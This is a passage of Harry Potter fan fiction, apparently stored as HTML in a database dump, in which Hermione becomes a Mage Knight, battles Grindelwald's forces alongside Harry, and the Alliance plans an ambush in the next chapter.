and\nshe was also aware of the 8-inch unicorn horn protruding upwards from her\nvisor.&nbsp; Hermione glanced at the inside\nof the red cape she wore and saw the following words in gold lettering: <i>&#8216;Sir\nHermione Granger, Mage Knight of Hogwarts&#8217;</i>.&nbsp; Even her staff had transfigured into a thin sword!&nbsp; Hermione simply stared at it for a few\nmoments, completely shocked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Flame suddenly\nattacked her with renewed vigor.&nbsp;\nHermione started to painc.&nbsp;\n&#8216;No!&nbsp; I don&#8217;t know how to use a\nsword!&nbsp; I can&#8217;t&#8230;&#8217; Hermione was forced to\ndefend herself as Flame swung her staff down at her.&nbsp; Then, the most amazing thing happened.&nbsp; Either Hermione&#8217;s sword had a mind of its own or Hermione\nsuddenly was gifted with natural swordsman instinct.&nbsp; Whichever way, Hermione didn&#8217;t know and didn&#8217;t care.&nbsp; What she did care about was that she was\ntwirling and wielding her sword the same way she used her staff!&nbsp; Within seconds, Hermione was slashing at\nFlame as if she had done it all her life and Flame was starting to panic just\nblocking her blade!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Flame leapt a few\nsteps back and yelled, <i>&#8220;Avada Kedavra!&#8221;</i>&nbsp;\nHermione leaped into the air with a burst of magic, made a half moon\nsomersault, and landed behind Flame!&nbsp;\nShe managed to kick flame in the back and send her sprawling to the\nground.&nbsp; These acrobatics amazed Hermione\nsince she had never been able to do them in her life.&nbsp; She had always wondered how Mage Knights could be so swift and\nacrobatic in their movements as they wore so much armor.&nbsp; Now that she was apparently a Mage Knight\nherself, Hermione discovered just how light and flexible the armor was.&nbsp; It even seemed to amplify muscle strength\nand coordination not to mention enhance combat skills.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Flame was slowly\nstanding back up.&nbsp; Not willing to\ncontinue the duel, Hermione pointed her sword at Flame and said, <i>&#8220;Stupefy!&#8221;</i>&nbsp; Flame slumped unconscious.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Still slightly\napprehensive at her own transformation, Hermione quietly sheathed her sword and\nstudied her armor.&nbsp; &#8216;Ginny asked me why\nI wasn&#8217;t a Mage Knight once,&#8217; she thought.&nbsp;\n&#8216;I told her about my skills with a sword and yet now that I apparently\nam a Mage Knight, I have no problem with swords now.&#8217;&nbsp; She glanced toward the stables.&nbsp;\n&#8216;I wonder if my problem with horses has also been corrected.&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione ran to\nthe stables.&nbsp; She leapt onto one of the\nhorses and was promptly thrown off.&nbsp; She\nsighed.&nbsp; Apparently, becoming a Mage\nKnight hadn&#8217;t corrected her inability to ride a horse.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Giving up on\nhorses, Hermione made her to the main gates of the palace.&nbsp; Figuring that she was already near escaping,\nshe said, <i>&#8220;Reducto,&#8221;</i> and blasted a hole through the gate.&nbsp; She quickly stole out of the palace and\nstopped short.&nbsp; Standing outside of the\npalace was Gridelwald with a whole battalion of orcs!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You will not\nleave this palace!&#8221; yelled Grindelwald.&nbsp;\nHermione simply glared and drew her sword.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh really?&#8221; she\nsaid.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Get her!&#8221; shouted\nGrindelwald.&nbsp; The orcs raised a mighty\ncry and charged at Hermione.&nbsp; Hermione\nimmediately set her newly acquired sword skills to the test as she started hacking\nand hewing at the attacking orcs.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8216;I could really\nget used to this,&#8217; she thought as she decapitated one orc.&nbsp; She stabbed another one and deflected the\nblows of two more.&nbsp; It was at that point\nthat a voice called out, <i>&#8220;Crucio!&#8221;</i>&nbsp;\nHermione dove forward and rolled out of the way as the Cruciatus Curse\nhit one of the orcs.&nbsp; Flame had regained\nconsciousness and she was seething with anger.&nbsp;\n&#8216;Uh-oh,&#8217; thought Hermione as she managed to slash at another orc while\nin mid-roll.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You&#8217;ll pay\nmudblood!&#8221; yelled Flame.&nbsp; She and\nGrindelwald started firing curses toward Hermione who barely managed to either\nblock or dodge them, all the while slashing at orcs.&nbsp; Hermione was starting to get exhausted and she was soon on the\nvery edge of despair.&nbsp; &#8216;Harry where are\nyou!&nbsp; Help me!&#8217; she thought.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was right at\nthat second when another figure leaped through the air!&nbsp; The figure landed on top of Grindelwald and\nplaced two swift kicks on his head before leaping again.&nbsp; With a twirl and a half moon somersault, the\nfigure landed on the other side of the orc battalion in a crouching position,\nhis left leg drawn out and his sword raised horizontally over his head.&nbsp; It was Sir Harry Potter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well what&#8217;s\nthis,&#8221; said Harry with a grin.&nbsp; &#8220;A\nbirthday party and I wasn&#8217;t invited?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry!&#8221; shouted\nHermione with sheer joy.&nbsp; Harry beamed\nat her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Grindelwald and\nFlame simply stared at the newly arrived Mage Knight, too stunned to move.&nbsp; Harry took this opportunity to start\nslashing at the orcs.&nbsp; Hermione also\nstarted fighting again with renewed vigor.&nbsp;\nLingilam and Flame snapped out of their stupor and started firing curses\nat the Mage Knights.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The combined power\nof two Mage Knights soon leveled the orcs to scattered numbers, allowing them\nmore freedom to deal with the Neo Death Eaters.&nbsp; Hermione attacked Flame with even more fiercely than\npreviously.&nbsp; Flame wasn&#8217;t even a match\nfor Hermione now that she was a full-fledged Mage Knight and she was about to\nbe defeated again when Grindelwald crept up behind Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hermione!&#8221; yelled\nHarry just as Grindelwald yelled, <i>&#8220;Avada Kedavra!&#8221;</i>&nbsp; Hearing Harry&#8217;s warning, Hermione ducked as\nthe green light whizzed above her head!&nbsp;\nIt hit Flame instead and she fell dead with a scream.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Lingilam was\nstunned for a moment and that moment was all Harry needed as he leapt forward\nand stabbed Grindelwald.&nbsp; &#8220;That was for\nCho!&#8221; he hissed.&nbsp; Grindelwald, however,\nwas not gone yet as he raised his hand in an attempt to fire the killing-curse\nat Harry.&nbsp; Not allowing him the chance,\nHermione ran forward and also stabbed Lingilam.&nbsp; Grindelwald fell over dead.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It was only after\nthe battle was won that Hermione and Harry were able to acknowledge each\nother.&nbsp; Without a word, they embraced\neach other and started kissing with hunger and passion that they had been\ndenied while they were away from each other.&nbsp;\nWhen they finally parted, they drew back and stared into each other&#8217;s\neyes: Harry into Hermione&#8217;s cinnamon brown and Hermione into Harry&#8217;s emerald\ngreen.&nbsp; They both had tears of joy\nstreaming out of those eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I missed you so\nmuch,&#8221; said Harry as he held Hermione close to him again.&nbsp; Hermione retuned the embrace tightly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I missed you as\nwell,&#8221; said Hermione.&nbsp; They embraced\neach other in a way that suggested that if they were ever to let go, the other\nwould fall away again.&nbsp; They both placed\nwet kisses on each other&#8217;s faces.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I love you,\nHermione.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I love you too,\nHarry.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry finally\npulled back and studied the armor that Hermione was wearing.&nbsp; &#8220;I see you&#8217;ve finally passed into the level of\nMage Knight, Sir Hermione Granger.&#8221;&nbsp; He\ngrinned.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Yes I was\nwondering about that,&#8221; said Hermione looking a little puzzled.&nbsp; &#8220;Why am I all of a sudden a Mage Knight?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well you see,\nHermione.&nbsp; Anybody who receives training\nat Hogwarts, no matter how little training they receive, is automatically\nchosen to become a potential Mage Knight.&nbsp;\nWhen that person finally achieves a certain level of magic, than the\narmor materializes and that person is an official Mage Knight of Hogwarts.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;So I was liable\nto become one since the two months of training I received during the war?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;That&#8217;s\nright.&nbsp; You just finally achieved the\nnecessary level tonight.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione kissed\nHarry once more.&nbsp; After they had parted,\nHarry registered the fact that they were still right outside of the gates of\nthe royal palace.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Come on, we\nbetter get out of here and find some hiding place,&#8221; he said.&nbsp; Hermione nodded and allowed Harry to take\nher hand and lead her through the snow-covered forest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry, so much\nhas happened.&nbsp; There&#8217;s a lot of\nimportant stuff I need to explain.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Alright, you can\ntell me as soon as we find some secluded shelter.&#8221;&nbsp; Hermione nodded as the two Mage Knights disappeared into the\nnight.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N To be honest,\nI can&#8217;t take full credit for the &#8220;Grindelwald&#8221; anagram.&nbsp; I found out that the name &#8220;Edward&#8221; was\nhidden in there from another fanfic.&nbsp; I\ncan&#8217;t remember which one though.&nbsp; Also,\nHarry and Hermione can sense each other&#8217;s presence through their rings but they\ncan&#8217;t communicate with each other with the rings.&nbsp; R/R.&nbsp; Next: What&#8217;s\nhappening at Hogwarts in the mean time?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(123, 14, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n14: Prelude to a War\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A few hours later,\na blizzard was blowing through Durmstrang, burying everything under snow.&nbsp; Harry and Hermione were keeping shelter in a\nsmall cave located on the edge of a rocky mountain.&nbsp; The entrance to the cave was long buried under seven feet of\nsnow, effectively secluding the couple from the rest of the world.&nbsp; Harry and Hermione had decided to stay\nhidden for a few days as they thought of a way to return to their homeland and\nstaying in a cave buried under snow was just perfect.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry and Hermione\nwere sitting along the wall and warming up by a magical blue bell flame\nconjured by Hermione.&nbsp; They were wrapped\nup in a couple of blankets Harry had conjured up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I can&#8217;t believe\nit.&nbsp; Voldemort is alive,&#8221; said\nHarry.&nbsp; He buried his face in his\nhands.&nbsp; &#8220;Things just get better and\nbetter, don&#8217;t they?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione leaned\nher head on Harry&#8217;s shoulder.&nbsp; &#8220;I&#8217;d\nrather not think about what happened at that place,&#8221; she said.&nbsp; A few tears streamed down her eyes as she\nremembered what Krum had nearly done to her; it was still hard to deal with\neven with the knowledge that he was under the Imperius Curse.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry knew what\nshe was thinking about as he wiped away her tears.&nbsp; &#8220;The next time I see the people hurt you, I am going to kill\nthem,&#8221; he said. &nbsp;Hermione said nothing\nand just buried her face into the nape of Harry&#8217;s neck.&nbsp; Harry wrapped her into a tight embrace.&nbsp; They remained in that position for a few\nminutes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I missed you,&#8221;\nsaid Harry.&nbsp; Hermione drew closer to\nHarry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;So did I,&#8221; she\nsaid.&nbsp; &#8220;I miss James and Lily.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;They&#8217;re safe at\nHogwarts.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I know, but I\nstill miss them.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;So do I.&#8221;&nbsp; The two quieted down for a minute.&nbsp; &#8220;I love you, Hermione.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I love you too,\nHarry.&#8221;&nbsp; The couple shared a very\npassionate and intimate kiss as the blizzard raged outside, isolating the two\nfrom the world.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Back at Hogwarts,\nthe Mage Knights were bracing for the coming invasion.&nbsp; Ron was sitting with the chief of militaries\nof the Alliance.&nbsp; Ron was impressed by\nthe way his second in command, Oliver Wood had run things while he was away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Here,&#8221; said Remus\npointing to a map of the kingdom of Hufflepuff.&nbsp; &#8220;This is where the enemy is going to land: at this ravine here,\nbetween the cliffs of Little Hangleton.&nbsp;\nThere&#8217;s no place else where you could land an entire army.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;So they don&#8217;t\nknow that we know they&#8217;re coming right?&#8221; said Sirius.&nbsp; &#8220;How do we use that to our advantage?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron stared at the\nmap for a moment.&nbsp; &#8220;Think of it like\nchess,&#8221; he said.&nbsp; &#8220;At the present, the\nenemy is moving his pieces into our territory in an attempt to check us.&nbsp; However, when our turn roles around, we can\nplace our pieces in areas where we can capture all of the enemy pieces and thus\nturn the tide to our side.&nbsp; The key is\nwhere to place the pieces.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;So, what does\nthat mean?&#8221; asked Sirius.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;The cliffs,&#8221; said\nRemus.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron nodded.&nbsp; &#8220;We split our forces in two and place them\non the edges of each cliff overlooking the ravine.&nbsp; Then, when the enemy soldiers march through, we can attack them\nfrom both sides and catch them by surprise.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Ah, but how can\nyou assume such a plan could work coming from your brain?&#8221; said a drawling\nvoice from the entrance of the room.&nbsp;\nThe commanders looked up to see Sir Draco Malfoy enter, wearing his Mage\nKnight armor and green cape.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well ferret boy,&#8221;\nsaid Ron, looking not too pleased.&nbsp; &#8220;I\nsee you&#8217;ve remembered where your loyalties lie.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Draco\nsneered.&nbsp; &#8220;I never forgot them,\nWeasley.&nbsp; I just had other things on my\nmind.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron shrugged.&nbsp; &#8220;If you say so.&nbsp; Of course I think I need to remind you that you hesitated backing\nHarry when Krum insulted us.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I made a mistake,\nOK!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Sirius butted\nin.&nbsp; &#8220;OK, forget about the past and lets\nconcentrate on the present,&#8221; he said.&nbsp;\n&#8220;We need the support of the entire Alliance to win this war.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well you have all\nof Slytherin&#8217;s support,&#8221; said Draco looking smug.&nbsp; Ron glowered at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" 